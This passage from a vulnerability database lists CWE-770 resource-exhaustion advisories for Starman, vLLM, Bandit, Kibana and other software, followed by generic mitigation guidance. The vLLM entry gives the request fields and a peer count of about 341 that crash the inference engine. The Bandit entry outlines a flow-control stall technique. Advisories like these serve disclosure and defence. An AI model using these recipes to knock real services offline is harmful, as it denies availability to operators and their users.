    "nvd_published_at": "2026-10-25T17:17:01Z",
    "severity": "HIGH"
  },
  "details": "Starman versions before 0.4019 for Perl allow memory exhaustion via unbounded buffering of chunked request bodies.\n\nThe chunked body decoder keeps each chunk in memory until the whole chunk and its CRLF have arrived, and sets no limit on the length of a chunk-size line. A client that declares a huge chunk size and streams data, or sends a chunk-size line that never ends, grows the buffer for as long as it keeps sending.\n\nA remote attacker can exhaust worker memory with a single connection.",
  "id": "GHSA-frrh-cv34-87px",
  "modified": "2026-11-02T18:32:02Z",
  "published": "2026-10-25T18:31:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-115824"
    },
    {
      "type": "WEB",
      "url": "https://github.com/miyagawa/Starman/commit/0f33f9b132b5e410d6cce722ff71988e22476acf.patch"
    },
    {
      "type": "WEB",
      "url": "https://github.com/miyagawa/Starman/commit/d789a02dbe5408ef5f7a4659078d0008dd84c308.patch"
    },
    {
      "type": "WEB",
      "url": "https://metacpan.org/release/MIYAGAWA/Starman-0.4019/changes"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-FRV9-R4G5-6CVX

Vulnerability from github – Published: 2026-10-19 18:32 – Updated: 2026-10-19 18:32
VLAI
Details

IBM MQ 9.4.5.0 through 9.4.5.1 could allow an authenticated user to cause a denial of service by sending a specially crafted message that crashes consuming applications.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-14511"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-10-19T17:17:20Z",
    "severity": "MODERATE"
  },
  "details": "IBM MQ 9.4.5.0 through 9.4.5.1 could allow an authenticated user to cause a denial of service by sending a specially crafted message that crashes consuming applications.",
  "id": "GHSA-frv9-r4g5-6cvx",
  "modified": "2026-10-19T18:32:16Z",
  "published": "2026-10-19T18:32:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-14511"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7290859"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-FRVG-QW88-HWW9

Vulnerability from github – Published: 2026-10-27 14:45 – Updated: 2026-10-27 14:45
VLAI
Summary
vllm p2p never connected zmq_exhaustion
Details

Summary

When the OffloadingConnector uses TieringOffloadingSpec with a P2P secondary tier, an API client can submit many unique non-listening peer addresses through kv_transfer_params.prefill. vLLM keeps every never-established P2P session and its ZeroMQ sockets after the request finishes. On vLLM 0.26.0, 340 such peers filled the default ZeroMQ context socket quota; creating the next peer raised an uncaught ZMQError, terminated EngineCore, and shut down the API server. The path was reproduced with a normal API key and no access to the internal P2P listener.

Details

Root cause

In vLLM 0.26.0, P2PSecondaryTierManager.on_new_request() reads the following request-controlled fields:

{
  "kv_transfer_params": {
    "prefill": {
      "kv_request_id": "id",
      "remote_host": "127.0.0.1",
      "remote_port": 49101
    }
  }
}

on_new_request() calls _get_or_create_session(peer_id). This calls ZmqTransport.connect(), creates a P2PSession, and stores it in _sessions before the asynchronous ZeroMQ connection has been established.

ZmqTransport._open_connection() creates a DEALER, enables a libzmq monitor, creates a PAIR socket for that monitor, calls dealer.connect(), and immediately stores the resulting ZmqConnection in _connections. Returning from dealer.connect() does not prove that the peer is reachable.

The monitor subscribes only to zmq.EVENT_DISCONNECTED. A peer that never accepts the initial connection produced EVENT_CONNECT_DELAYED, EVENT_CONNECT_RETRIED, and EVENT_CLOSED, but no EVENT_DISCONNECTED during a 60-second observation. The production monitor therefore never calls mark_dead(), and ZmqConnection.alive remains true.

Request completion calls session.finish_request(), but does not close or remove the peer session. The manager reaps only a session for which session.connected and not session.alive is true. A never-established peer remains connected=True, alive=True, and ready=False. There is no establishment deadline, idle eviction, or limit on pending or total peers.

Each unique retained peer uses about three sockets in the same ZeroMQ context: the DEALER, the monitor endpoint created by libzmq, and the PAIR monitor client. With the measured default MAX_SOCKETS=1023, 340 peers use approximately 1,020 sockets in addition to the local ROUTER. The next peer fails while creating its monitor PAIR. The exception escapes through on_new_request() and the scheduler into the EngineCore loop:

P2PSecondaryTierManager._get_or_create_session()
  -> ZmqTransport.connect()
  -> ZmqTransport._open_connection()
  -> monitor_sock = self._zmq_ctx.socket(zmq.PAIR)
  -> zmq.error.ZMQError: Too many open files
  -> EngineDeadError

The process open-files limit was 65,536. The EngineCore had about 1,215 file descriptors at the failure point, so the failure was not the operating-system FD limit.

Boundary and controls

Each row below used a fresh vLLM process and pre-generated unique non-listening loopback ports.

Test Result
Default MAX_SOCKETS=1023, 340 unique peers 340 HTTP 200 responses; 340 active peers; service healthy
Default limit, 344 unique peers, concurrency 4 340 HTTP 200 and 4 HTTP 500 responses; EngineCore and API exited
Default limit, 344 unique peers, concurrency 1 Same 340-peer ceiling and service exit
Same endpoint repeated 512 times 512 HTTP 200 responses; one active peer; service healthy
512 requests without P2P parameters 512 HTTP 200 responses; no active peers; service healthy

A diagnostic A/B changed only the context MAX_SOCKETS value. Raising it from 1,023 to 2,048 moved the last fully successful point from 340 to 682 peers. The 683rd peer then raised the same ZMQError and terminated the service. The approximately 2.01x movement in the boundary identifies the ZeroMQ context quota as the exhausted resource.

The failure runs used logging-only instrumentation around _open_connection() to record the context limit, peer count, and process FD count. It did not add or close any ZeroMQ socket and re-raised the original exception.

Related public work

PR #47843 is an open, unmerged proposal that identifies client-supplied P2P peer addresses as an SSRF risk and proposes API sanitization plus a configured peer allowlist. Those changes would block this public API trigger, but the PR does not add a connection deadline, session cleanup, or a capacity limit for never-established peers. This report adds the deterministic resource-exhaustion and service-exit impact of the retained state.

PR #49823 fixes cleanup and reconnection after a connection has been marked dead. A peer that never establishes does not receive the subscribed EVENT_DISCONNECTED event, so it never enters that dead-state cleanup path.

Impact

This is uncontrolled resource consumption leading to denial of service. An attacker needs network access to an OpenAI-compatible inference endpoint and a normal API key when --api-key is enabled. The attacker does not need access to the internal P2P control or data ports and does not need any peer to answer.

Only deployments that explicitly enable OffloadingConnector, TieringOffloadingSpec, and a P2P secondary tier are affected. Repeating a cheap one-token request with unique non-listening endpoints steadily consumes scheduler and ZeroMQ resources. In the tested default context, about 341 requests were enough to terminate EngineCore and stop all inference on the instance until restart. Confidentiality and integrity were not affected; the demonstrated impact is availability loss.

This advisory was fixed in MR51504.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "vllm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.32.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-94624"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-27T14:45:53Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nWhen the `OffloadingConnector` uses `TieringOffloadingSpec` with a P2P secondary tier, an API client can submit many unique non-listening peer addresses through `kv_transfer_params.prefill`. vLLM keeps every never-established P2P session and its ZeroMQ sockets after the request finishes. On vLLM 0.26.0, 340 such peers filled the default ZeroMQ context socket quota; creating the next peer raised an uncaught `ZMQError`, terminated `EngineCore`, and shut down the API server. The path was reproduced with a normal API key and no access to the internal P2P listener.\n\n### Details\n\n#### Root cause\n\nIn vLLM 0.26.0, `P2PSecondaryTierManager.on_new_request()` reads the following request-controlled fields:\n\n```json\n{\n  \"kv_transfer_params\": {\n    \"prefill\": {\n      \"kv_request_id\": \"id\",\n      \"remote_host\": \"127.0.0.1\",\n      \"remote_port\": 49101\n    }\n  }\n}\n```\n\n`on_new_request()` calls `_get_or_create_session(peer_id)`. This calls `ZmqTransport.connect()`, creates a `P2PSession`, and stores it in `_sessions` before the asynchronous ZeroMQ connection has been established.\n\n`ZmqTransport._open_connection()` creates a DEALER, enables a libzmq monitor, creates a PAIR socket for that monitor, calls `dealer.connect()`, and immediately stores the resulting `ZmqConnection` in `_connections`. Returning from `dealer.connect()` does not prove that the peer is reachable.\n\nThe monitor subscribes only to `zmq.EVENT_DISCONNECTED`. A peer that never accepts the initial connection produced `EVENT_CONNECT_DELAYED`, `EVENT_CONNECT_RETRIED`, and `EVENT_CLOSED`, but no `EVENT_DISCONNECTED` during a 60-second observation. The production monitor therefore never calls `mark_dead()`, and `ZmqConnection.alive` remains true.\n\nRequest completion calls `session.finish_request()`, but does not close or remove the peer session. The manager reaps only a session for which `session.connected and not session.alive` is true. A never-established peer remains `connected=True`, `alive=True`, and `ready=False`. There is no establishment deadline, idle eviction, or limit on pending or total peers.\n\nEach unique retained peer uses about three sockets in the same ZeroMQ context: the DEALER, the monitor endpoint created by libzmq, and the PAIR monitor client. With the measured default `MAX_SOCKETS=1023`, 340 peers use approximately 1,020 sockets in addition to the local ROUTER. The next peer fails while creating its monitor PAIR. The exception escapes through `on_new_request()` and the scheduler into the EngineCore loop:\n\n```text\nP2PSecondaryTierManager._get_or_create_session()\n  -\u003e ZmqTransport.connect()\n  -\u003e ZmqTransport._open_connection()\n  -\u003e monitor_sock = self._zmq_ctx.socket(zmq.PAIR)\n  -\u003e zmq.error.ZMQError: Too many open files\n  -\u003e EngineDeadError\n```\n\nThe process open-files limit was 65,536. The EngineCore had about 1,215 file descriptors at the failure point, so the failure was not the operating-system FD limit.\n\n#### Boundary and controls\n\nEach row below used a fresh vLLM process and pre-generated unique non-listening loopback ports.\n\n| Test | Result |\n|---|---|\n| Default `MAX_SOCKETS=1023`, 340 unique peers | 340 HTTP 200 responses; 340 active peers; service healthy |\n| Default limit, 344 unique peers, concurrency 4 | 340 HTTP 200 and 4 HTTP 500 responses; EngineCore and API exited |\n| Default limit, 344 unique peers, concurrency 1 | Same 340-peer ceiling and service exit |\n| Same endpoint repeated 512 times | 512 HTTP 200 responses; one active peer; service healthy |\n| 512 requests without P2P parameters | 512 HTTP 200 responses; no active peers; service healthy |\n\nA diagnostic A/B changed only the context `MAX_SOCKETS` value. Raising it from 1,023 to 2,048 moved the last fully successful point from 340 to 682 peers. The 683rd peer then raised the same `ZMQError` and terminated the service. The approximately 2.01x movement in the boundary identifies the ZeroMQ context quota as the exhausted resource.\n\nThe failure runs used logging-only instrumentation around `_open_connection()` to record the context limit, peer count, and process FD count. It did not add or close any ZeroMQ socket and re-raised the original exception.\n\n#### Related public work\n\n[PR #47843](https://github.com/vllm-project/vllm/pull/47843) is an open, unmerged proposal that identifies client-supplied P2P peer addresses as an SSRF risk and proposes API sanitization plus a configured peer allowlist. Those changes would block this public API trigger, but the PR does not add a connection deadline, session cleanup, or a capacity limit for never-established peers. This report adds the deterministic resource-exhaustion and service-exit impact of the retained state.\n\n[PR #49823](https://github.com/vllm-project/vllm/pull/49823) fixes cleanup and reconnection after a connection has been marked dead. A peer that never establishes does not receive the subscribed `EVENT_DISCONNECTED` event, so it never enters that dead-state cleanup path.\n\n### Impact\n\nThis is uncontrolled resource consumption leading to denial of service. An attacker needs network access to an OpenAI-compatible inference endpoint and a normal API key when `--api-key` is enabled. The attacker does not need access to the internal P2P control or data ports and does not need any peer to answer.\n\nOnly deployments that explicitly enable `OffloadingConnector`, `TieringOffloadingSpec`, and a P2P secondary tier are affected. Repeating a cheap one-token request with unique non-listening endpoints steadily consumes scheduler and ZeroMQ resources. In the tested default context, about 341 requests were enough to terminate EngineCore and stop all inference on the instance until restart. Confidentiality and integrity were not affected; the demonstrated impact is availability loss.\n\nThis advisory was fixed in [MR51504](https://github.com/vllm-project/vllm/pull/51504).",
  "id": "GHSA-frvg-qw88-hww9",
  "modified": "2026-10-27T14:45:53Z",
  "published": "2026-10-27T14:45:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/vllm-project/vllm/security/advisories/GHSA-frvg-qw88-hww9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-94624"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vllm-project/vllm/pull/51504"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vllm-project/vllm/commit/93d2cab35e8ae66bbaa1dea1c077986d5a79eb80"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/vllm/PYSEC-2026-4006.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/vllm-project/vllm"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vllm-project/vllm/blob/v0.29.0/vllm/v1/kv_offload/tiering/p2p/control/zmq.py#L240-L260"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vllm-project/vllm/blob/v0.29.0/vllm/v1/kv_offload/tiering/p2p/manager.py#L667-L677"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vllm-project/vllm/releases/tag/v0.32.0"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/vllm-through-0.29.0-denial-of-service-via-unbounded-p2p-kv-offloading-sessions"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "vllm p2p never connected zmq_exhaustion"
}

GHSA-FRWJ-XV69-M7PR

Vulnerability from github – Published: 2024-02-29 00:30 – Updated: 2024-11-05 18:31
VLAI
Details

An issue was discovered in Couchbase Server through 7.2.2. A data reader may cause a denial of service (application exist) because of the OOM killer.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2023-45873"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-02-28T22:15:26Z",
    "severity": "MODERATE"
  },
  "details": "An issue was discovered in Couchbase Server through 7.2.2. A data reader may cause a denial of service (application exist) because of the OOM killer.",
  "id": "GHSA-frwj-xv69-m7pr",
  "modified": "2024-11-05T18:31:58Z",
  "published": "2024-02-29T00:30:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-45873"
    },
    {
      "type": "WEB",
      "url": "https://docs.couchbase.com/server/current/release-notes/relnotes.html"
    },
    {
      "type": "WEB",
      "url": "https://forums.couchbase.com/tags/security"
    },
    {
      "type": "WEB",
      "url": "https://www.couchbase.com/alerts"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-FV5R-CW7F-79JM

Vulnerability from github – Published: 2022-07-15 00:00 – Updated: 2022-07-26 00:01
VLAI
Details

The legacy Slack import feature in Mattermost version 6.7.0 and earlier fails to properly limit the sizes of imported files, which allows an authenticated attacker to crash the server by importing large files via the Slack import REST API.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2022-2406"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-07-14T18:15:00Z",
    "severity": "MODERATE"
  },
  "details": "The legacy Slack import feature in Mattermost version 6.7.0 and earlier fails to properly limit the sizes of imported files, which allows an authenticated attacker to crash the server by importing large files via the Slack import REST API.",
  "id": "GHSA-fv5r-cw7f-79jm",
  "modified": "2022-07-26T00:01:03Z",
  "published": "2022-07-15T00:00:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-2406"
    },
    {
      "type": "WEB",
      "url": "https://mattermost.com/security-updates"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-FV6J-9P8M-C3WR

Vulnerability from github – Published: 2026-08-20 21:31 – Updated: 2026-08-20 21:31
VLAI
Details

Allocation of Resources Without Limits or Throttling vulnerability in mtrudel bandit allows an unauthenticated remote attacker to pin an unbounded number of HTTP/2 stream processes indefinitely via connection-level flow control. When a stream's response body outruns the HTTP/2 connection-level send window (default 65,535 bytes, shared across all streams on the connection), Bandit.HTTP2.Connection queues the remaining bytes and a reply closure in pending_sends and the stream process blocks forever inside a synchronous call to the connection process. Nothing bounds that wait and nothing purges the queue: a client RST_STREAM for the blocked stream is delivered to its mailbox but never read while it is stuck inside the call, so cancelling frees nothing, and periodic PING frames keep the transport-level read timeout from ever firing. The equivalent block on the stream-level send window is already bounded at 15 seconds; the connection-level path had no such bound.

Each stalled stream pins its process, Plug state, and any resource the Plug holds across the blocked write, such as a pooled upstream connection in a reverse-proxy Plug. The attacker chooses any endpoint whose response exceeds the connection window (common for most non-trivial payloads), grants a generous stream-level window so only the connection window limits it, and keeps the connection alive with periodic PINGs; the primitive is repeatable across streams and connections at the cost of one idle socket each.

This issue affects bandit: from 0.3.4 before 1.12.5.

Severity
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-74836"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-20T21:17:09Z",
    "severity": "HIGH"
  },
  "details": "Allocation of Resources Without Limits or Throttling vulnerability in mtrudel bandit allows an unauthenticated remote attacker to pin an unbounded number of HTTP/2 stream processes indefinitely via connection-level flow control. When a stream\u0027s response body outruns the HTTP/2 connection-level send window (default 65,535 bytes, shared across all streams on the connection), Bandit.HTTP2.Connection queues the remaining bytes and a reply closure in pending_sends and the stream process blocks forever inside a synchronous call to the connection process. Nothing bounds that wait and nothing purges the queue: a client RST_STREAM for the blocked stream is delivered to its mailbox but never read while it is stuck inside the call, so cancelling frees nothing, and periodic PING frames keep the transport-level read timeout from ever firing. The equivalent block on the stream-level send window is already bounded at 15 seconds; the connection-level path had no such bound.\n\nEach stalled stream pins its process, Plug state, and any resource the Plug holds across the blocked write, such as a pooled upstream connection in a reverse-proxy Plug. The attacker chooses any endpoint whose response exceeds the connection window (common for most non-trivial payloads), grants a generous stream-level window so only the connection window limits it, and keeps the connection alive with periodic PINGs; the primitive is repeatable across streams and connections at the cost of one idle socket each.\n\nThis issue affects bandit: from 0.3.4 before 1.12.5.",
  "id": "GHSA-fv6j-9p8m-c3wr",
  "modified": "2026-08-20T21:31:29Z",
  "published": "2026-08-20T21:31:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mtrudel/bandit/security/advisories/GHSA-xj8g-532w-jv94"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-74836"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mtrudel/bandit/commit/f6914aad14bb1365dd6f306aa592cfb0819bed3e"
    },
    {
      "type": "WEB",
      "url": "https://cna.erlef.org/cves/CVE-2026-74836.html"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/EEF-CVE-2026-74836"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-FV98-P2R6-2CJR

Vulnerability from github – Published: 2026-07-01 18:31 – Updated: 2026-07-01 18:31
VLAI
Details

Allocation of Resources Without Limits or Throttling (CWE-770) in Kibana can lead to a denial of service via Excessive Allocation (CAPEC-130). An authenticated user can submit a specially crafted bulk deletion request that causes excessive resource consumption, which may render Kibana unavailable.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-49087"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-01T17:16:35Z",
    "severity": "MODERATE"
  },
  "details": "Allocation of Resources Without Limits or Throttling (CWE-770) in Kibana can lead to a denial of service via Excessive Allocation (CAPEC-130). An authenticated user can submit a specially crafted bulk deletion request that causes excessive resource consumption, which may render Kibana unavailable.",
  "id": "GHSA-fv98-p2r6-2cjr",
  "modified": "2026-07-01T18:31:54Z",
  "published": "2026-07-01T18:31:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49087"
    },
    {
      "type": "WEB",
      "url": "https://discuss.elastic.co/t/kibana-8-19-15-9-3-4-security-update-esa-2026-49"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-FVCH-763V-4HWX

Vulnerability from github – Published: 2024-12-19 00:37 – Updated: 2024-12-31 21:30
VLAI
Details

In Matter (aka connectedhomeip or Project CHIP) through 1.4.0.0 before e3277eb, unlimited user label appends in a userlabel cluster can lead to a denial of service (resource exhaustion).

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-56319"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-12-18T23:15:18Z",
    "severity": "HIGH"
  },
  "details": "In Matter (aka connectedhomeip or Project CHIP) through 1.4.0.0 before e3277eb, unlimited user label appends in a userlabel cluster can lead to a denial of service (resource exhaustion).",
  "id": "GHSA-fvch-763v-4hwx",
  "modified": "2024-12-31T21:30:45Z",
  "published": "2024-12-19T00:37:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-56319"
    },
    {
      "type": "WEB",
      "url": "https://github.com/project-chip/connectedhomeip/issues/36760"
    },
    {
      "type": "WEB",
      "url": "https://github.com/project-chip/connectedhomeip/pull/36843"
    },
    {
      "type": "WEB",
      "url": "https://github.com/project-chip/connectedhomeip/commit/e3277eb02ed8115de5887e8beca0e35007ba71f3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-FVQ2-25P8-GP46

Vulnerability from github – Published: 2026-09-04 00:31 – Updated: 2026-09-04 00:31
VLAI
Details

MOOS-IvP pRealm through version 24.8.1 accepts unbounded REALMCAST_REQ subscriptions without validating duration or variable list limits. Attackers can register long-lived pipeways with many variables to cause pRealm to generate excessive output indefinitely, exhausting system resources.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-85447"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-03T23:17:24Z",
    "severity": "HIGH"
  },
  "details": "MOOS-IvP pRealm through version 24.8.1 accepts unbounded REALMCAST_REQ subscriptions without validating duration or variable list limits. Attackers can register long-lived pipeways with many variables to cause pRealm to generate excessive output indefinitely, exhausting system resources.",
  "id": "GHSA-fvq2-25p8-gp46",
  "modified": "2026-09-04T00:31:09Z",
  "published": "2026-09-04T00:31:09Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-85447"
    },
    {
      "type": "WEB",
      "url": "https://github.com/moos-ivp/moos-ivp/pull/132"
    },
    {
      "type": "WEB",
      "url": "https://github.com/moos-ivp/moos-ivp/commit/8a4bb9d9154a70e769a7290ee11dde5157c03e9b"
    },
    {
      "type": "WEB",
      "url": "https://github.com/moos-ivp/moos-ivp"
    },
    {
      "type": "WEB",
      "url": "https://github.com/moos-ivp/moos-ivp/blob/1de9ae146cd63c209e8c3fd81611a4ed2472971b/ivp/src/pRealm/PipeWay.cpp#L109"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/moos-ivp-through-24.8.1-prealm-unbounded-realmcast-req-subscription-denial-of-service"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}
Mitigation
Requirements

Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.

Mitigation
Architecture and Design

Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.

Mitigation
Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place, and it will help the administrator to identify who is committing the abuse. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation MIT-15
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation
Architecture and Design
  • Mitigation of resource exhaustion attacks requires that the target system either:
  • recognizes the attack and denies that user further access for a given amount of time, typically by using increasing time delays
  • uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
  • The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
  • The second solution can be difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply requires more resources on the part of the attacker.
Mitigation
Architecture and Design

Ensure that protocols have specific limits of scale placed on them.

Mitigation MIT-38.1
Architecture and Design Implementation
  • If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery.
  • Ensure that all failures in resource allocation place the system into a safe posture.
Mitigation MIT-47
Operation Architecture and Design

Strategy: Resource Limitation

  • Use quotas or other resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems.
  • When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users.
  • Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).
CAPEC-125: Flooding

